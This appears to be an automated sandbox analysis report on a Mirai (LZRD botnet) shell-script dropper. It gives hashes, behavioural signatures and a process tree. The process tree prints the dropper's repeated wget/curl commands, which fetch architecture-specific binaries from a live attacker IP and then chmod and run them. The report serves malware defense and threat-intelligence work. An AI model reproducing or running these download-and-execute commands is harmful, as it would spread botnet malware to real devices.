Analysis

  • max time kernel
    149s
  • max time network
    135s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    29-01-2025 04:07

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    2804cbc613cf37545bbd4db9c2c1f8d4

  • SHA1

    ee8c86685fb7f2686a1a01237bbb29732fc08b4e

  • SHA256

    e86c5559de4555ca3b0edb272766eaaf6fc84ced06174832787c0bc3cc386b05

  • SHA512

    0751745e1a2919666399957cbd7700d1308fe7e2926d327ed68eb83ce3b467435e9d4142e05bb9ed446b8b14b2bb0ad7df8385f32262d6ebf44315a22a169730

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 53 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:712
    • /usr/bin/wget
      wget http://45.95.169.129/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:715
    • /usr/bin/curl
      curl -O http://45.95.169.129/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:729
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:740
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
        2⤵
        • File and Directory Permissions Modification
        PID:741
      • /tmp/WTF
        ./WTF
        2⤵
          PID:742
        • /usr/bin/wget
          wget http://45.95.169.129/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /usr/bin/curl
          curl -O http://45.95.169.129/hiddenbin/boatnet.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:746
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:747
        • /bin/chmod
          chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
          2⤵
          • File and Directory Permissions Modification
          PID:748
        • /tmp/WTF
          ./WTF
          2⤵
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:749
        • /usr/bin/wget
          wget http://45.95.169.129/hiddenbin/boatnet.arc
          2⤵
          • Writes file to tmp directory
          PID:753
        • /usr/bin/curl
          curl -O http://45.95.169.129/hiddenbin/boatnet.arc
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:754
        • /bin/cat
          cat boatnet.arc
          2⤵
            PID:755
          • /bin/chmod
            chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
            2⤵
            • File and Directory Permissions Modification
            PID:756
          • /tmp/WTF
            ./WTF
            2⤵
              PID:757
            • /usr/bin/wget
              wget http://45.95.169.129/hiddenbin/boatnet.i468
              2⤵
                PID:759
              • /usr/bin/curl
                curl -O http://45.95.169.129/hiddenbin/boatnet.i468
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:762
              • /bin/cat
                cat boatnet.i468
                2⤵
                  PID:769
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:770
                • /tmp/WTF
                  ./WTF
                  2⤵
                    PID:771
                  • /usr/bin/wget
                    wget http://45.95.169.129/hiddenbin/boatnet.i686
                    2⤵
                      PID:774
                    • /usr/bin/curl
                      curl -O http://45.95.169.129/hiddenbin/boatnet.i686
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:780
                    • /bin/cat
                      cat boatnet.i686
                      2⤵
                        PID:785
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:787
                      • /tmp/WTF
                        ./WTF
                        2⤵
                          PID:788
                        • /usr/bin/wget
                          wget http://45.95.169.129/hiddenbin/boatnet.x86_64
                          2⤵
                            PID:790
                          • /usr/bin/curl
                            curl -O http://45.95.169.129/hiddenbin/boatnet.x86_64
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:796
                          • /bin/cat
                            cat boatnet.x86_64
                            2⤵
                              PID:807
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:808
                            • /tmp/WTF
                              ./WTF
                              2⤵
                                PID:810
                              • /usr/bin/wget
                                wget http://45.95.169.129/hiddenbin/boatnet.mpsl
                                2⤵
                                • Writes file to tmp directory
                                PID:812
                              • /usr/bin/curl
                                curl -O http://45.95.169.129/hiddenbin/boatnet.mpsl
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:819
                              • /bin/cat
                                cat boatnet.mpsl
                                2⤵
                                  PID:821
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:822
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                    PID:823
                                  • /usr/bin/wget
                                    wget http://45.95.169.129/hiddenbin/boatnet.arm
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:825
                                  • /usr/bin/curl
                                    curl -O http://45.95.169.129/hiddenbin/boatnet.arm
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:826
                                  • /bin/cat
                                    cat boatnet.arm
                                    2⤵
                                      PID:827
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:828
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                        PID:829
                                      • /usr/bin/wget
                                        wget http://45.95.169.129/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:831
                                      • /usr/bin/curl
                                        curl -O http://45.95.169.129/hiddenbin/boatnet.arm5
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:832
                                      • /bin/cat
                                        cat boatnet.arm5
                                        2⤵
                                          PID:837
                                        • /bin/chmod
                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:838
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:840
                                          • /usr/bin/wget
                                            wget http://45.95.169.129/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:843
                                          • /usr/bin/curl
                                            curl -O http://45.95.169.129/hiddenbin/boatnet.arm6
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:850
                                          • /bin/cat
                                            cat boatnet.arm6
                                            2⤵
                                              PID:859
                                            • /bin/chmod
                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:860
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                                PID:861
                                              • /usr/bin/wget
                                                wget http://45.95.169.129/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:864
                                              • /usr/bin/curl
                                                curl -O http://45.95.169.129/hiddenbin/boatnet.arm7
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:872
                                              • /bin/cat
                                                cat boatnet.arm7
                                                2⤵
                                                  PID:875
                                                • /bin/chmod
                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:876
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                    PID:877
                                                  • /usr/bin/wget
                                                    wget http://45.95.169.129/hiddenbin/boatnet.ppc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:879
                                                  • /usr/bin/curl
                                                    curl -O http://45.95.169.129/hiddenbin/boatnet.ppc
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:880
                                                  • /bin/cat
                                                    cat boatnet.ppc
                                                    2⤵
                                                      PID:881
                                                    • /bin/chmod
                                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:882
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                        PID:883
                                                      • /usr/bin/wget
                                                        wget http://45.95.169.129/hiddenbin/boatnet.spc
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:885
                                                      • /usr/bin/curl
                                                        curl -O http://45.95.169.129/hiddenbin/boatnet.spc
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:886
                                                      • /bin/cat
                                                        cat boatnet.spc
                                                        2⤵
                                                          PID:887
                                                        • /bin/chmod
                                                          chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:888
                                                        • /tmp/WTF
                                                          ./WTF
                                                          2⤵
                                                            PID:889
                                                          • /usr/bin/wget
                                                            wget http://45.95.169.129/hiddenbin/boatnet.m68k
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:891
                                                          • /usr/bin/curl
                                                            curl -O http://45.95.169.129/hiddenbin/boatnet.m68k
                                                            2⤵
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:892
                                                          • /bin/cat
                                                            cat boatnet.m68k
                                                            2⤵
                                                              PID:893
                                                            • /bin/chmod
                                                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-103b8a06c3e0408c914b46e49c6662f2-systemd-timedated.service-CtBnuM WTF
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:894
                                                            • /tmp/WTF
                                                              ./WTF
                                                              2⤵
                                                                PID:895
                                                              • /usr/bin/wget
                                                                wget http://45.95.169.129/hiddenbin/boatnet.sh4
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:897
                                                              • /usr/bin/curl
                                                                curl -O http://45.95.169.129/hiddenbin/boatnet.sh4
                                                                2⤵
                                                                • Reads runtime system information
                                                                • Writes file to tmp directory
                                                                PID:901
                                                              • /bin/cat
                                                                cat boatnet.sh4
                                                                2⤵
                                                                  PID:902
                                                                • /bin/chmod
                                                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:903
                                                                • /tmp/WTF
                                                                  ./WTF
                                                                  2⤵
                                                                    PID:904

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  23KB

                                                                  MD5

                                                                  34a14580ccf090cc765f6de7ca0ae05a

                                                                  SHA1

                                                                  5ac27b634e71242cb87f6be2befe81395ee7c4e3

                                                                  SHA256

                                                                  45d5bf1f35db78f9674a412ba6b248755fecd3ef3f6ed6883becced625c16cd8

                                                                  SHA512

                                                                  365fd885d8e3ffe382a7d81ae65b84e99502d420e91e2e246b7ca0e974717affb3f591ee4edfebca019b5a817693bf5a233bf73907b1529378c6b5762bca9811

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  105KB

                                                                  MD5

                                                                  d33b8dfabff0da44b72fb1b9af8f3a8f

                                                                  SHA1

                                                                  ad8cb3c5735cab7609fbab190fab5479e0793f59

                                                                  SHA256

                                                                  1919538313971a469bc58ce967c0fd56a480d44fae6027da64426778608401c5

                                                                  SHA512

                                                                  1d102949c3263e2ca0060b25be461ec64a49a8097f9f2cb83304c2ddb6ff1d749150a2cbaff892677c9dcb35e933048bb1bfc6dfbec67256999118c146cdb982

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  220B

                                                                  MD5

                                                                  f1c24d9fa40a047ae22d2d3ae7dfeac9

                                                                  SHA1

                                                                  750274b02d5f5b00026a4f55b020f4285c693533

                                                                  SHA256

                                                                  219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                                                  SHA512

                                                                  36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  220B

                                                                  MD5

                                                                  a8f502a6fb3b7b940e922c951d9e493a

                                                                  SHA1

                                                                  fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                                                  SHA256

                                                                  748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                                                  SHA512

                                                                  e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                                                • /tmp/WTF

                                                                  Filesize

                                                                  57KB

                                                                  MD5

                                                                  17ec2d5d78b23651344dfcf1ced43559

                                                                  SHA1

                                                                  b33e0727e9f0c9552d41ac8ca4dd5307d41aaa85

                                                                  SHA256

                                                                  a4d11bb36c6c1f93083393ede8034df6c497cfb09d34add23b8fcf9e0f8c1aa1

                                                                  SHA512

                                                                  83311c0c1ae9bdba84d31e815454f238978154f60f4c807bb80aa449902cdb36eb4e696fb98bb0861dd294f0adad0a75234b00baddfe53de2d8ab0198340fd9c

                                                                • /tmp/boatnet.x86

                                                                  Filesize

                                                                  20KB

                                                                  MD5

                                                                  8a7d61d2ef9b9f35399eb694251c7d4a

                                                                  SHA1

                                                                  455d77460b3b29a5fcef077360f2d4cc1d08af9a

                                                                  SHA256

                                                                  0768cb7a311c893d5e10d749b18f2092436c59b581a0b86f19db23aa240c6a13

                                                                  SHA512

                                                                  253d7a69c52d35d92952a31b1fb93c6d8890e32b7490511fb8aa5dec5c4bf7804584ae3d6c797ff54ab7b60d34661d0c5002cbf4ac8a150d2a69b7f475b8ab50